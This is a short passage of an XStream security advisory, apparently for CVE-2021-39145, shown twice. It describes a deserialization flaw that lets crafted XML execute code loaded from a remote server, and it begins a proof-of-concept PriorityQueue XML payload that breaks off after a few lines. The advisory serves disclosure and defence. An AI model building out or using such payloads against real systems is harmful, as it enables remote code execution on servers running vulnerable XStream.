The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
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xstream-distribution/src/content/CVE-2021-39145.html [27:43]:
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    Description
    
    The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
    XStream creates therefore new instances based on these type information.  An attacker can manipulate the processed
    input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

    Steps to Reproduce

    Create a simple PriorityQueue and use XStream to marshal it to XML.  Replace the XML with following snippet and
    unmarshal it again with XStream:
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -